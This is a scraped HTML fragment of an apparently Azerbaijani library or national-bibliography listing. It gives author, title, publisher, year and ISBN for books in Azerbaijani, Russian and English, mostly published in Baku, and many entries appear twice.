Qanun nəşriyyatı, 2014. ISBN: 9789952266559</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yaqub, M. Sevgi şeirləri. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266559</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yixhdi Ç`al. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268331</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yixhdi Ç`al. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268331</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yiqbişin əqənabi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268348</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yiqbişin əqənabi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268348</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yoqa hamı üçün. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267785</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yoqa hamı üçün. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267785</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yusifqızı, R. Riyazaiyyat əyləncəli ola bilərmiş. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241853</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yusifqızı, R. Riyazaiyyat əyləncəli ola bilərmiş. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241853</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">100 ən yaxşı kitab . Bakı : “OL”MMC, 2014 . ISBN: 978995249435a</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Zaytsev , S&nbsp; . Hamiləlik və doğuş haqqında əsas kitab&nbsp; .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952267709</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Zeynalov, E. Tələ. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267396</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Zeynalov, E. Tələ. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267396</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Züskind, P. Parfümer: bir qatilin tarixçəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267563</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Züskind, P. Parfümer: bir qatilin tarixçəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267563</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Авар мацIалъул словарь. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268324</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Авар мацIалъул словарь. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268324</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Аварцы Алазанской долины .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268379</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Азербайджанские сказки. Баку: Издательство Ганун, 2014. ISBN: 9789952267204</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Азербайджанские сказки. Баку: Издательство Ганун, 2014. ISBN: 9789952267204</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Багирлы , Ф . Свой Аршин&nbsp; . Bakı : Qanun&nbsp; , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268522</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Бадалов , Р . Ступени&nbsp; . Bakı : Qanun&nbsp; , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268416</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Бахшалиева, Н. З. Защитный эффект антиоксидантов в зависимости от сроков хранения в озоновой среде растений и животных. Баку: Издательство Хазар Университети, 2014. ISBN: 9789952825329</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Бахшалиева, Н. З. Защитный эффект антиоксидантов в зависимости от сроков хранения в озоновой среде растений и животных. Баку: Издательство Хазар Университети, 2014. ISBN: 9789952825329</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Вазех, М. Ш. Лирика. Баку: Чашыоглу, 2014. ISBN: 9789952483406</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Вазех, М. Ш. Лирика. Баку: Чашыоглу, 2014. ISBN: 9789952483406</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Везиров, Х. Н. Некоторые философские,юридические и экономические проблемы постсоветских республик. Баку: 2014. ISBN: 9789952290868</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Везиров, Х. Н. Некоторые философские,юридические и экономические проблемы постсоветских республик. Баку: 2014. ISBN: 9789952290868</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Воплощение. Баку: Фонд Гейдара Алиева, 2014. ISBN: 9789952483840</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Воплощение. Баку: Фонд Гейдара Алиева, 2014. ISBN: 9789952483840</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Годжаев,Т.Б.&nbsp;&nbsp;&nbsp;&nbsp; Корцентрация напряжений в многосвязных кусочно-однородных средах&nbsp; . Bakı : Elm&nbsp; , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952495324</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Джафаров, Т. Pецепция прозы М.Ю.Лермонтова в Азербайджане. Баку: Мутарджим, 2014. ISBN: 9789952281910</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Джафаров, Т. Pецепция прозы М.Ю.Лермонтова в Азербайджане. Баку: Мутарджим, 2014. ISBN: 9789952281910</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Исабейли , Г. Осел сын осла ( rus,azərbaycan).&nbsp;Bakı : Azərnəşr , 2014. ISBN : 9789952802429</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Керимов, В. Н. Как образовалась вселенная ?! Баку: АФполигрАФ, 2014. ISBN: 9789952824841</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Керимов, В. Н. Как образовалась вселенная ?! Баку: АФполигрАФ, 2014. ISBN: 9789952824841</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Котта, Д. Стамбул – Париж: реальная история. Баку: Издательство Ганун, 2014. ISBN: 9789952267938</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Котта, Д. Стамбул – Париж: реальная история. Баку: Издательство Ганун, 2014. ISBN: 9789952267938</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Мамедли, Э. Человек, стоящий в 24-м ряду. Баку: Издательство Ганун, 2014. ISBN: 9789952266511</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Мамедли, Э. Человек, стоящий в 24-м ряду. Баку: Издательство Ганун, 2014. ISBN: 9789952266511</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Мамедов , Э . Перевод спасет мир афоризмы&nbsp; . Bakı : Kitabklubu&nbsp; , 2014 . ISBN&nbsp; :&nbsp; 9789952825251</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Назирли, К. 19+1: рассказы, пьеса. Баку: Мутарджим, 2014. ISBN: 9789952281958</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Назирли, К. 19+1: рассказы, пьеса. Баку: Мутарджим, 2014. ISBN: 9789952281958</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Парвин. Для Самира. Баку: Мутарджим, 2014. ISBN: 9789952281743</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Парвин. Для Самира. Баку: Мутарджим, 2014. ISBN: 9789952281743</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Рамиз Дениз&nbsp; . Загадочное открытие Бразилии .&nbsp;Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp;&nbsp; 9789952823028</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Рамиз Дениз . Насирэддин Туси - ученый, опередивший века&nbsp; .&nbsp;Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp; 9789952823011</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Саид , К . Али и Нино .&nbsp;Bakı :&nbsp;Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952267037</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тагиев, Д. Б. Перспективные направления современной химии. Баку: Элм, 2014. ISBN: 9789952495126</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Тагиев, Д. Б. Перспективные направления современной химии. Баку: Элм, 2014. ISBN: 9789952495126</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Харлан, Р. М. Темнота. Баку: Издательство Ганун, 2014. ISBN: 9789952266870</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Харлан, Р. М. Темнота. Баку: Издательство Ганун, 2014. ISBN: 9789952266870</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Шикилар авай гафалаг. Bakı: Qanunnəşriyyatı, 2014. ISBN: 9789952268638</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Шикилар авай гафалаг. Bakı: Qanunnəşriyyatı, 2014. ISBN: 9789952268638</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Эюбов , А . Хрестоматия для самоубийц&nbsp; .&nbsp;Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952502039</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Юсиф, А .&nbsp; Военное искусство тюрков в огузском эпосе \" Китаби Деде горгуд\" .&nbsp;Bakı : “OL” MMC , 2014. ISBN 9789952494310</p><hr noshade=\"noshade\"><strong>A</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abasov, A. Variants for a Solution of the Karabakh Conflict: Concepts and Reality. Baku: Yeni Nesil, 2002. ISBN: 9952240155</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abbasov, Ə. Qarabağ münaqişəsinin həlli variantları: ideyalar və reallıq. Bakı: Yeni Nəsil, 2002. ISBN: 9952240139</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abbasov, Ə. Sülh mədəniyyəti nədir?. Bakı: Yeni Nəsil, 2002. ISBN: 9952240090</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/988/1/Bahlul%20kitab.pdf\"><strong>Abdulla, B. Sevgi dolu alim və pedaqoq.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2010. ISBN: 9789952200584</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, F. Maliyyə menecmentinin əsasları. Bakı: Çaşıoğlu, 2002. ISBN: 9789952813494</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayeva, Ş. Kiçikyaşlı məktəblilərə insan hüquqlarının öyrədilməsi. Bakı: Тutu, 2001. ISBN: 9952401019</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abe, T. Foreign Policy of Japan. Baku: Khazar University Press, 2007. ISBN: 9952200409</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Adıgözəl, S. Elçin. Bakı: Qafqaz Universiteti, 2006. ISBN: 9952250320</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Axundov, M. F. Kəmalüddövlə məktubları. Bakı: Qanun, 2012. ISBN: 9789952262520</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Akademik Yusif Məmmədəliyev. Bakı: Tutu. ISBN: 9952422008</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Akademik Yusif Məmmədəliyev. Bakı: Tutu, 2005. ISBN: 9952422024</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1808\"><strong>Amerika müsəlmanları.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2010. ISBN: 9789952200607</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">An Anthology of Yiddish Music. Baku: Yeni Nesil, 2002. ISBN: 9952240163</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Aranlı, М. Əyləncəli riyaziyyat. Bakı: Xəzər Universitəsi, 2003. ISBN: 995241008X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Arterial Hipertanziya Disk. Bakı:&nbsp; ISBN: 9952431058</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Arterial Hipertanziya. Bakı: ISBN: 9952431066</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Aruz, S. Yüz il inqilab. Bakı: Qanun, 2012. ISBN: 9789952262551</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Arveladze, B. Armenian or Georgian in Churches in Georgia? Baku: Khazar University, 2002. ISBN: 9952200161</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1123/1/bu%20dunyaya%20ne%20getirdim%20dez%20Times.pdfnyaya%20ne%20getirdim%20dez%20Times.pdf\"><strong>Aslan, K. Bu dünyaya nə gətirdim... Hamlet İsayev (İsaxanlı).</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2005. ISBN: 9952200323</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Audit qanunvericilik və normativ sənədlər. Bakı: Nağıl Evi, 2002. ISBN: 995221006X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Avropa insan hüquqları məhkəməsi. I c. Bakı: Çaşıoğlu, 2004. ISBN: 9952270240</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Avropa insan hüquqları məhkəməsi. II c. Bakı: Çaşıoğlu 2004. ISBN: 9952270259</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan bələdiyyələri: ilk təcrübə, əsas problemlər və inkşaf perspektivləri. Bakı: Xəzər</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Universitəsi, 2004. ISBN: 9952409194</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan Bələdiyyə sistemi. Bakı : 2007. ISBN: 9952809206</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan hüquq jurnalı. Bakı: Araz, 2002. № 1. ISBN: 9952260040</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan hüquq jurnalı. Bakı: Araz, 2002. № 2. ISBN: 9952406007</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan hüquq jurnalı. Bakı: Araz, 2002. № 3. ISBN: 9952406015</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan XX əsrin əvvəllərində. Bakı: Oka ofset, 2004. ISBN: 9952411042</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan kinosu: xronikal-sənədli, elmi-kütləvi, sifariş və tədris filmlərinin izahlı kataloqu. Bakı:&nbsp;Nağıl Evi, 2003. ISBN: 995220116</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan mədən sənayesində şəfaflığın uçbucaği. Bakı: ISBN: 9952805748</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan onkologiya və hematologiya jurnalı. Bakı: Ankoloji Elmi Mərkəz, 2005.&nbsp;ISBN: 9952807503</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycanın ornitoloji əraziləri.&nbsp; Cild 2. Bakı: Ornotoloji cəmiyyəti, 2011. ISBN: 9789952803723</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan Respublikasının milli prosessual məcəlləsinin elmi-praktik kommentariyası. Bakı:&nbsp;Patronat-S şirkəti, 2003. ISBN: 9952409100</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1660/1/sevf%20roez%201%20yeni.pdf\"><strong>Azərbaycan sevgi poeziyası</strong></a>: çoxcildli. C. 1. Bakı: Xəzər Universitəsi, 2008. ISBN: 9789952200454</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1661\"><strong>Azərbaycan sevgi poeziyası</strong></a>: çoxcildli. C. 2. Bakı: Xəzər Universitəsi, 2009. ISBN: 9789952200508</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1662\"><strong>Azərbaycan sevgi poeziyası</strong></a>: çoxcildli. C. 3. Bakı: Xəzər Universitəsi, 2009. ISBN: 9789952200515</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan tarixinin çağdaş problemləri. Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200013</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan toyu.Bakı: Tutu, 2003. ISBN: 9952410004</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1059\"><strong>Azərbaycan və Litva Konsorsiumlarının əməkdaşlığı.</strong></a>&nbsp;Bakı Xəzər Universitəsi, 2005.&nbsp;ISBN: 9952200293</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycanda iqtisadi islahatların həyata keçirilməsi xüsusiyyətləri və problemləri. Bakı:&nbsp;El-Alliance, 2003. ISBN: 9952290241</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycanda mədəniyyət siyasəti. Bakı: Nağıl Evi, 2003. ISBN: 9952210175</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycanda və Gürcüstanda yerli özününü idarə. Bakı: Yeni Nəsil, 2002. ISBN: 995224018Х</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycanın elm xadimləri Niftalı Mehralı oğlu Qocayev : biblioqrafiya. Bakı: Qafqaz Universiteti, 2011. ISBN: 9789952468014</p><hr noshade=\"noshade\"><strong>B</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Babanlı, V. Kişilik haqqında himn. Bakı: Xəzər Universitəsi, 2002. ISBN: 9952200129</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bal ilə müalicə. Bakı: El-Alliance, 2002. ISBN: 9952290004</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Balayev, X. Azərbaycan dilinin dövlət dili kimi təşəkkül tarixindən. Bakı, 2002. ISBN: 